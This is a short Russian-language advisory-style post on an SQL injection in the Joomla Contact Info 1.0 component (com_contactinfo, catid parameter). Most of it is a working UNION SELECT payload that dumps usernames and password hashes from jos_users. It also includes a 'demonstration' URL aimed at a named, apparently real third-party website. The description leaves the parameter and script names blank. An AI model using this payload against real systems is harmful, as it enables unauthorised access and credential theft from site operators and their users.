Программа: Joomla Component Contact Info 1.0
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «» сценарием . Удаленный пользователь может
с помощью специально сформированного запроса выполнить произвольные SQL команды
в базе данных приложения.
Эксплоит:
http://localhost/Path/index.php?option=com_contactinfo&catid=[exploit]
[exploit]-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58), password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*
Демонстрация:
http://www.planetacentr.ru/index.php?option=com_contactinfo&catid=-9999/**/UNION/* */SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*
